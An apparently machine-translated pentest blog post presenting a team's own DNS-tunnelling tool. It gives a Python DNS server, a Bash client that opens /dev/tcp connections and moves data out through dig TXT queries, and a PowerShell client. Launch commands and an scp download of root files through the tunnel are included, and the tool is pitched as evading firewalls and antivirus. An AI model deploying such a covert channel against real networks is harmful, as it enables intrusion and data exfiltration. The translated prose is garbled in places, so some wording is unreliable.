Tráfico al final del túnel o DNS en el pentest


Hola En los proyectos de pruebas de penetración, a menudo nos encontramos con redes segmentadas que están casi completamente aisladas del mundo exterior. A veces, para resolver este problema, es necesario reenviar el tráfico a través del único protocolo disponible: DNS. En este artículo, le diremos cómo resolver un problema similar en 2018 y qué dificultades se encuentran en el proceso. También se revisarán las utilidades populares y se presentará un lanzamiento de su propia utilidad de código abierto con características que generalmente carecen de herramientas similares existentes.


¿Qué son los túneles DNS?


Ya hay varios artículos sobre Habré que explican qué es el túnel DNS. Sin embargo, un poco de teoría sobre el túnel DNS se puede encontrar debajo del spoiler.


¿Qué es el túnel DNS?

Sucede que el firewall corta estrictamente el acceso a la red, y necesita transferir los datos muy mal, y luego la técnica de túnel de DNS viene al rescate.


En el diagrama, todo se ve así:


Las consultas para DNS, incluso con la configuración de firewall más rigurosa, a veces aún pasan, y puede usar esto respondiéndolas desde su servidor ubicado en el otro lado. La comunicación será extremadamente lenta, pero esto es suficiente para penetrar en la red local de la organización o, por ejemplo, para acceder urgentemente a Internet a través de Wi-Fi de pago en el extranjero.


Lo que es popular en este momento


Ahora en Internet puede encontrar muchas utilidades para operar esta técnica, cada una con sus propias características y errores. Seleccionamos los cinco más populares para las pruebas comparativas:


  • dnscat2
  • yodo
  • dns2tcp
  • Heyoka
  • OzymanDNS

Puede leer más sobre cómo los probamos en nuestro artículo sobre Hacker . Aquí solo damos los resultados.



Como puede ver en los resultados, puede trabajar, pero desde el punto de vista de las pruebas de penetración, hay inconvenientes:


  • clientes compilados: en máquinas con antivirus es mucho más fácil ejecutar algo interpretado que un archivo binario;
  • trabajo inestable bajo Windows;
  • La necesidad de instalar software adicional en algunos casos.

Debido a estas deficiencias, necesitábamos desarrollar nuestra propia herramienta, y así es como resultó ...


Cree su propia utilidad de túnel DNS


Antecedentes


Todo comenzó durante el pentest interno de un banco. En el vestíbulo había una computadora pública utilizada para imprimir documentos, certificados y otros documentos. Nuestro objetivo: obtener el mayor beneficio de una máquina que ejecutaba Windows 7, tenía Kaspersky Anti-Virus a bordo y permitía el acceso solo a ciertas páginas (pero al mismo tiempo era posible resolver nombres DNS).


Después de realizar el análisis inicial y obtener datos adicionales del automóvil, desarrollamos varios vectores de ataque. Las rutas con el funcionamiento de la máquina utilizando programas binarios se eliminaron inmediatamente, ya que la "gran y terrible" "Kaspersky" detectó inmediatamente su borrado cuando detectó un archivo ejecutable. Sin embargo, logramos tener la oportunidad de ejecutar scripts en nombre del administrador local, después de lo cual una de las ideas era solo la posibilidad de crear un túnel DNS.


Buscando posibles métodos, encontramos un cliente en PowerShell para dnscat2 (escribimos sobre esto anteriormente). Pero al final, lo máximo que pudimos producir fue establecer una conexión por un corto tiempo, después de lo cual el cliente se bloqueó.


Esto, por decirlo suavemente, nos molestó mucho, ya que en esta situación la presencia de un cliente interpretado era simplemente necesaria. En realidad, esta fue una de las razones para desarrollar nuestra propia herramienta para el túnel DNS.


Requisitos


Nuestros principales requisitos para nosotros son:


  • la presencia de clientes universales (en la medida de lo posible) e interpretados para sistemas Unix y Windows. Para los clientes, se seleccionaron bash y Powershell, respectivamente. En el futuro, se planea un cliente Perl para Unix;
  • la capacidad de reenviar tráfico desde una aplicación específica;
  • Soporte para múltiples clientes para un usuario.

Arquitectura del proyecto


De acuerdo con los requisitos, comenzamos el desarrollo. En nuestra opinión, la utilidad consta de 3 partes: un cliente en la máquina interna, un servidor DNS y un pequeño proxy entre la aplicación pentester y el servidor DNS.



Para empezar, decidimos reenviar el túnel a través de los registros TXT.


El principio de funcionamiento es bastante simple:


  • Pentester lanza un servidor DNS.
  • Un pentester (o un usuario, a través de la ingeniería social) lanza un cliente en una máquina interna. En el cliente hay parámetros tales como el nombre del cliente y el dominio, y también existe la posibilidad de especificar directamente la dirección IP del servidor DNS.
  • Pentester (desde una red externa) inicia un proxy, donde indica la dirección IP del servidor DNS, así como el puerto donde golpear, los objetivos IP (por ejemplo, ssh en la red interna donde está sentado el cliente) y, en consecuencia, el puerto objetivo. También se requiere una ID de cliente, que se puede obtener agregando la clave --clients .
  • Pentester lanza la aplicación que le interesa, apuntando el puerto proxy a localhost.

Protocolo de comunicación


Considere un protocolo bastante simple para la comunicación entre un servidor y un cliente.


Registro


Cuando se inicia el cliente, se registra con el servidor, solicitando un registro TXT a través de un subdominio del siguiente formato:


0<7 random chars><client name>.<your domain>


0 - clave de registro
<7 random chars> - para evitar el almacenamiento en caché de registros DNS
<client name> : el nombre dado al cliente en el inicio
<your domain> - ej .: xakep.ru
En caso de un registro exitoso, el cliente recibe un mensaje de éxito en la respuesta TXT, así como la identificación que se le asignó, que continuará utilizando.


Ciclo principal


Después del registro, el cliente comienza a consultar al servidor sobre la disponibilidad de nuevos datos en el formato


1<7 random chars><id>.<your domain>


Si hay datos nuevos, en la respuesta TXT los recibe en el formato


<id><target ip>:<target port>:<data in base64> , de lo contrario, <id>ND viene.


Ciclo de carga de datos


El cliente en un bucle comprueba si los datos provienen de nuestro <target> . Si hay una respuesta, leemos, de lo que vino, un búfer de tamaño N Kb, lo 250-<len_of_your_domain>-< > en bloques de 250-<len_of_your_domain>-< > y enviamos datos bloque por bloque en el formato:
2<4randomchars><id><block_id>.<data>.<your_domain>


Si la transferencia del bloque es exitosa, obtenemos algunos datos sobre el bloque transferido; en el caso de que se complete la transferencia del búfer, obtenemos ENDBLOCK .


Servidor DNS


El servidor DNS para la tunelización se escribió en Python3 utilizando la biblioteca dnslib, lo que facilita la creación de su propio resolutor DNS heredando del objeto dnslib.ProxyResolver y anulando el método resolve ().


Great dnslib le permite crear su propio proxyDNS muy rápidamente:


Un poco de código de servidor
 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

En resolve (), definimos las respuestas a las consultas DNS del cliente: registro, solicitud de nuevos registros, devolución de datos y eliminación del usuario.


Almacenamos información sobre los usuarios en la base de datos SQLite, el portapapeles de datos se encuentra en la RAM y tiene la siguiente estructura, en la que la clave es el número de cliente:


 { { "target_ip": "192.168.1.2", # IP “” -    "target_port": "", #  “” "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

Para poner los datos del pentester en el búfer, escribimos un pequeño "receptor", que se inicia en una secuencia separada. Captura las conexiones del pentester y realiza el enrutamiento: a qué cliente enviar las solicitudes.


Antes de iniciar el servidor, el usuario debe establecer solo un parámetro: DOMAIN_NAME: el nombre del dominio con el que trabajará el servidor.


Cliente Bash


Bash fue elegido para escribir un cliente para sistemas Unix, ya que se encuentra con mayor frecuencia en los sistemas Unix modernos. Bash proporciona la capacidad de conectarse a través de / dev / tcp /, incluso con derechos de usuario sin privilegios.


No analizaremos cada pieza de código en detalle, echemos un vistazo solo a los puntos más interesantes.
El principio del cliente es simple. Para comunicarse con DNS, se utiliza la utilidad de dig estándar. El cliente se registra con el servidor, después de lo cual, en el ciclo perpetuo, comienza a cumplir las solicitudes utilizando el protocolo descrito anteriormente. Debajo del spoiler más.


Lea más sobre el cliente Bash

Se está realizando una verificación para establecer si se ha establecido una conexión y, en caso afirmativo, se realiza la función de respuesta (lectura de los datos recibidos desde el destino, división y envío al servidor).


Después de eso, se verifica si hay nuevos datos del servidor. Si se encuentran, verificamos si la conexión debe cortarse. El espacio en sí ocurre cuando recibimos información sobre el destino con ip 0.0.0.0 y el puerto 00. En este caso, borramos el descriptor de archivo (si no estaba abierto, no habrá problemas) y cambiamos la ip de destino al 0.0.0.0 entrante.


Más adelante en el código, vemos si es necesario establecer una nueva conexión. Tan pronto como los siguientes mensajes comiencen a enviarnos datos para el objetivo, nosotros, en caso de que la IP anterior no coincida con la actual (lo será después del reinicio), cambiaremos el objetivo a uno nuevo y estableceremos una conexión a través del comando exec 3<>/dev/tcp/$ip/$port , donde $ip es el objetivo, $port es el puerto de destino.
Como resultado, si la conexión ya está establecida, los datos entrantes se decodifican y vuelan al descriptor mediante el comando echo -e -n ${data_array[2]} | base64 -d >&3 echo -e -n ${data_array[2]} | base64 -d >&3 , donde ${data_array[2]} es lo que obtuvimos del servidor.


 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

Ahora considere enviar la función de respuesta. Primero, leemos 2048 bytes del descriptor e inmediatamente los codificamos a través de $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0 ). Luego, si la respuesta está vacía, salimos de la función; de lo contrario, comenzamos la operación de división y envío. Tenga en cuenta que después de la formación de la solicitud de envío mediante excavación, la entrega se verifica para el éxito. Si tiene éxito, salga del ciclo, de lo contrario intente hasta que funcione.


 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

Cliente Powershell:


Como necesitábamos una interpretación y un trabajo completos en la mayoría de los sistemas actuales, el cliente base para Windows es la utilidad estándar nslookup para comunicarse a través de DNS y el objeto System.Net.Sockets.TcpClient para establecer una conexión en la red interna.


Todo también es muy simple. Cada iteración del bucle es una llamada al comando nslookup utilizando el protocolo descrito anteriormente.


Por ejemplo, para registrarse, ejecute el comando:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Si se producen errores, entonces no los mostramos, enviando los valores del descriptor de errores a $ null.


nslookup nos devuelve una respuesta similar:


Después de lo cual necesitamos estirar todas las líneas entre comillas, para lo cual las revisamos con una temporada regular:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


Ahora puede procesar los comandos recibidos.
Cada vez que cambia la dirección IP de la "víctima", se crea un cliente TCP, se establece una conexión y comienza la transferencia de datos. Desde el servidor DNS, la información se decodifica en base64 y se envían bytes a la víctima. Si la "víctima" respondió algo, entonces codificamos, dividimos en partes y ejecutamos solicitudes nslookup de acuerdo con el protocolo. Eso es todo.
Cuando presiona Ctrl + C, se ejecuta una solicitud para eliminar el cliente.


Proxy:


El proxy para el pentester es un pequeño servidor proxy en python3.



En los parámetros que necesita para especificar la IP del servidor DNS, el puerto donde conectarse al servidor, la opción --clients devuelve una lista de clientes registrados, --target - target ip , --target_port - target port , --client - id del cliente con el que lo haremos trabajo (visto después de la ejecución de --clients ), - --send_timeout - timeout para enviar mensajes desde la aplicación.


Cuando se inicia con el parámetro --clients , el proxy envía una solicitud al servidor en el formato \x00GETCLIENTS\n .
En el caso en que comenzamos a trabajar, cuando nos \x02RESET:client_id\n , enviamos un mensaje en el formato \x02RESET:client_id\n para restablecer la conexión anterior. Después de enviar información sobre nuestro objetivo: \x01client_id:ip:port:\n
Además, al enviar mensajes al cliente, enviamos bytes en el formato \x03data , y simplemente enviamos bytes sin procesar a la aplicación.
Además, el proxy admite el modo SOCKS5.


¿Qué dificultades pueden surgir?


Como con cualquier mecanismo, la utilidad puede fallar. No olvidemos que el túnel DNS es algo delgado, y muchos factores pueden influir en su funcionamiento, desde la arquitectura de red hasta la calidad de la conexión a su servidor de producción.


Durante las pruebas, ocasionalmente notamos pequeños problemas técnicos. Por ejemplo, a altas velocidades de impresión, trabajando a través de ssh, vale la pena establecer el parámetro --send_timeout , ya que de lo contrario el cliente comienza a congelarse. Además, a veces la conexión puede no establecerse la primera vez, pero puede tratarse fácilmente reiniciando el proxy, ya que la conexión se restablecerá durante la nueva conexión. También hubo problemas con la resolución de dominio al trabajar con proxychains, pero esto también se puede solucionar si especifica un parámetro adicional para proxychains. Vale la pena señalar que en este momento la utilidad no controla la aparición de solicitudes innecesarias de los servidores DNS de almacenamiento en caché, por lo que la conexión a veces puede fallar, sin embargo, esto se trata nuevamente utilizando el método descrito anteriormente.


Lanzamiento


Configure los registros NS en el dominio:



Esperamos hasta que se actualice el caché (generalmente hasta 5 horas).


Iniciamos el servidor:
python3 ./server.py --domain oversec.ru


Inicie el cliente (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


Iniciamos el cliente (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


Veamos la lista de clientes conectados:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


Inicie el proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


Prueba:


Después de que el servidor y al menos un cliente se hayan iniciado, podemos acceder al proxy como si fuera nuestra máquina remota.
Intentemos simular la siguiente situación: el pentester quiere descargar un archivo del servidor desde la red local de la organización protegida por el firewall, mientras que usando métodos de ingeniería social pudo forzar al cliente DNS a ejecutarse dentro de la red y descubrir la contraseña del servidor SSH.


Pentester en su máquina inicia un proxy, indicando el cliente necesario y luego puede hacer llamadas similares que se enviarán al cliente y desde el cliente a la red local.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


Veamos que pasó:



En la parte superior izquierda, puede ver las consultas de DNS que llegan al servidor, desde la parte superior derecha - tráfico proxy, desde la parte inferior izquierda - tráfico desde el cliente y desde la parte inferior derecha - nuestra aplicación. La velocidad resultó bastante decente para el túnel DNS: 4.9Kb / s usando compresión.


Cuando se lanzó sin compresión, la utilidad mostró una velocidad de 1.8 kb / s:



Miremos cuidadosamente el tráfico del servidor DNS, para esto usamos la utilidad tcpdump.
tcpdump -i eth0 udp port 53



Vemos que todo se ajusta al protocolo descrito: el cliente consulta constantemente al servidor si tiene datos nuevos para este cliente utilizando consultas como 1c6Zx9Vi39.oversec.ru . Si hay datos, el servidor responde con un conjunto de registros TXT, de lo contrario% client_num% ND ( 39ND ). El cliente envía información al servidor utilizando los tipos de consultas 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


En los siguientes videos, puede ver claramente cómo funciona la utilidad junto con meterpreter y en modo SOCKS5.




El resultado:


Resumamos un poco. ¿Qué características tiene este desarrollo y por qué recomendamos usarlo?


  1. Clientes interpretados en Bash y Powershell: sin EXE-shnikov y ELF-s que pueden ser difíciles de ejecutar.
  2. Estabilidad de la conexión: en las pruebas, nuestra utilidad se comportó de manera mucho más estable, y si hubiera algún error, podría volver a conectarse, mientras el cliente no se bloqueaba, como fue el caso con dnscat2, por ejemplo.
  3. Velocidad bastante alta para el túnel DNS: por supuesto, la velocidad no alcanza el yodo, pero hay una solución compilada de mucho menor nivel.
  4. No se requieren derechos de administrador: el cliente Bash funciona sin derechos de administrador, y las secuencias de comandos de Powershell a veces están prohibidas por las políticas de seguridad, pero esto es bastante simple.
  5. Hay un modo proxy socks5, que le permite hacerlo curl -v --socks5 127.0.0.1:9011 https://ident.me o ejecutar nmap en toda la red interna.

El código de utilidad está disponible aquí.

Source: https://habr.com/ru/post/es432078/


All Articles